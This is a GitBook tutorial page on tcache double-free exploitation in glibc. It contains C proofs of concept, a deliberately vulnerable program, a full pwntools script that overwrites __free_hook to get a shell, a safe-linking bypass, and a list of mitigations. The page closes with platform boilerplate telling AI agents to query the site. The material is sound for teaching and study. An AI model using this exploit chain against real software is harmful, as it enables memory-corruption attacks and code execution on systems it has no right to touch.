> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/19.-double-free.md).

# 0x18 — Double Free Vulnerability — Tcache

## Overview

A **Double Free** occurs when `free()` is called on the same pointer **twice** without reallocating it in between. In glibc's tcache, this inserts the same chunk into the free list **twice**, causing the allocator to hand out two pointers to the same memory. Subsequent writes via both pointers corrupt each other — and corrupt the allocator.

Double Free is closely related to UAF. The key difference:

* **UAF**: read/write to freed memory
* **Double Free**: free the same memory twice → corrupt the free list

***

## What Happens Internally

```c
void *a = malloc(0x20);
free(a);
free(a);   // Double free!
```

After the first `free`, tcache bin looks like:

```
tcache[0x20]: a → NULL
```

After the second `free` (before glibc checks):

```
tcache[0x20]: a → a → a → ... (infinite loop!)
```

When you call `malloc(0x20)` three times:

* First: returns `a`
* Second: returns `a` (same chunk!)
* Third: returns `a` again (or crashes)

This gives you **two active pointers to the same memory** — a very powerful primitive.

***

## glibc Double Free Protections

### glibc 2.26–2.27 (no check)

Double free works trivially.

### glibc 2.28+ (`key` field)

When a chunk is freed into tcache, glibc writes a special `key` value (address of tcache struct) into the chunk's second qword. On `free()`, it checks if `chunk->key == tcache` — if so, it knows the chunk is already in tcache → aborts.

```
Freed chunk:
[ prev_size ][ size ][ fd ][ key = &tcache_struct ]
```

### Bypassing the key check

1. **Overwrite the key** (via heap overflow or UAF) before the second free:

```c
// Corrupt the key field so the check doesn't trigger
ptr[1] = 0;   // zero out key field via UAF or overflow
free(ptr);    // double free succeeds!
```

2. **Partial overwrite** — overwrite only the fd, not the key.

***

## Double Free Without Protections (glibc ≤ 2.27)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    long target = 0;
    printf("&target = %p\n", &target);

    long *a = malloc(0x28);

    free(a);   // tcache: a → NULL
    free(a);   // tcache: a → a → a... (double free!)

    long *b = malloc(0x28);   // returns a
    *b = (long)&target;       // write &target into a's fd

    // tcache now: a → &target
    long *c = malloc(0x28);   // returns a
    long *d = malloc(0x28);   // returns &target ← arbitrary address!

    *d = 0xdeadbeef;
    printf("target = %lx\n", target);   // deadbeef!
    return 0;
}
```

***

## Double Free With Key Bypass (glibc 2.29+)

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    long *a = malloc(0x28);

    free(a);
    // a[-1] = size, a[0] = fd (NULL), a[1] = key (&tcache)

    // Bypass: zero out the key field
    a[1] = 0;   // ← write to freed chunk (UAF needed here too)

    free(a);    // second free — key check passes since key == 0
    // tcache: a → a → ...

    // Now proceed as before...
    return 0;
}
```

***

## Full Exploit: Double Free → Shell

### Vulnerable Program

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *chunks[10];

void alloc_chunk(int idx, int size) {
    chunks[idx] = malloc(size);
    printf("Allocated %d at %p\n", idx, chunks[idx]);
}

void free_chunk(int idx) {
    free(chunks[idx]);    // ← no null after free!
    printf("Freed %d\n", idx);
}

void write_chunk(int idx, char *data) {
    strcpy(chunks[idx], data);   // ← can write to freed chunk
}

int main() {
    // ... menu-driven program
}
```

### Exploit Script (glibc 2.27, no key check)

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

# Assume helper functions: alloc(idx, size, data), free(idx), write(idx, data), read(idx)

CHUNK_SIZE = 0x30

## Step 1: Leak libc address from unsorted bin ##
# Allocate a large chunk, free it to unsorted bin (not tcache) to get libc ptr
alloc(0, 0x500, b'X')       # large chunk → goes to unsorted bin on free
alloc(1, 0x20, b'X')        # guard to prevent consolidation with top chunk
free(0)
# Now chunk 0's fd and bk point into main_arena (libc)
leak = read(0)[:8]
libc.address = u64(leak) - 0x3ebca0   # offset to main_arena.top varies per libc
log.success(f"libc base: {hex(libc.address)}")

## Step 2: Double Free ##
alloc(2, CHUNK_SIZE, b'A')
free(2)          # tcache: [2] → NULL
free(2)          # double free! tcache: [2] → [2] → ...

## Step 3: Poison tcache fd with __free_hook address ##
free_hook = libc.sym['__free_hook']

write(2, p64(free_hook))     # UAF write to poisoned fd
# tcache: [2] → __free_hook → ???

## Step 4: Allocate to reach __free_hook ##
alloc(3, CHUNK_SIZE, b'/bin/sh\x00')   # returns chunk 2
alloc(4, CHUNK_SIZE, p64(libc.sym['system']))  # returns __free_hook → system!

## Step 5: Trigger system("/bin/sh") via free ##
free(3)    # free("/bin/sh") → __free_hook("/bin/sh") → system("/bin/sh")

p.interactive()
```

***

## Safe-Linking Bypass (glibc ≥ 2.32)

In glibc 2.32+, the `fd` is XOR-mangled:

```c
// Stored fd = actual_fd ^ (chunk_addr >> 12)
```

To poison the tcache with a target address:

```python
# You need a heap leak to compute the mangle
# heap_base is the address of the tcache perthread struct (first allocation)
mangled_fd = (heap_base >> 12) ^ target_addr
write(freed_chunk_idx, p64(mangled_fd))
```

***

## Double Free vs Use-After-Free Comparison

| Feature          | Double Free                | Use-After-Free               |
| ---------------- | -------------------------- | ---------------------------- |
| Root cause       | `free(ptr)` twice          | Read/write after `free`      |
| What's corrupted | Tcache free list           | Tcache free list (via write) |
| Primitive gained | Two pointers to same chunk | Write to freed chunk's fd    |
| glibc protection | Key field (2.28+)          | No direct protection         |
| Bypass           | Zero out key field         | N/A (key only stops DF)      |

***

## Visualization

```
Initial tcache (size 0x30):
 HEAD → NULL

After free(a):
 HEAD → [chunk A | fd=NULL | key=0x...] → NULL

After double free(a) (bypassed):
 HEAD → [chunk A | fd=&chunkA | key=0] → [chunk A] → ...
                         ↑ infinite loop potential

After write(a, target_addr):
 HEAD → [chunk A | fd=target_addr | key=0] → target_addr → ???

After malloc #1 (returns A), malloc #2:
 HEAD → target_addr → ???
        malloc returns target_addr ← arbitrary!
```

***

## Key Takeaways

* Double Free puts the same chunk into the tcache twice → two mallocs get the same address
* After the second free, writing to the chunk (UAF) corrupts the `fd` pointer
* This achieves **tcache poisoning** → malloc returns an arbitrary address
* glibc 2.28+ adds a `key` field to detect this — must be zeroed before second free
* glibc 2.32+ adds safe-linking — requires heap address leak to bypass
* Classic targets: `__free_hook`, `__malloc_hook` (removed in glibc 2.34), GOT entries

***

## Mitigation

* Null pointer after free: `free(p); p = NULL;`
* Use AddressSanitizer during development: `gcc -fsanitize=address`
* Modern glibc hardening (safe-linking, key checks)
* Memory-safe languages


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/19.-double-free.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
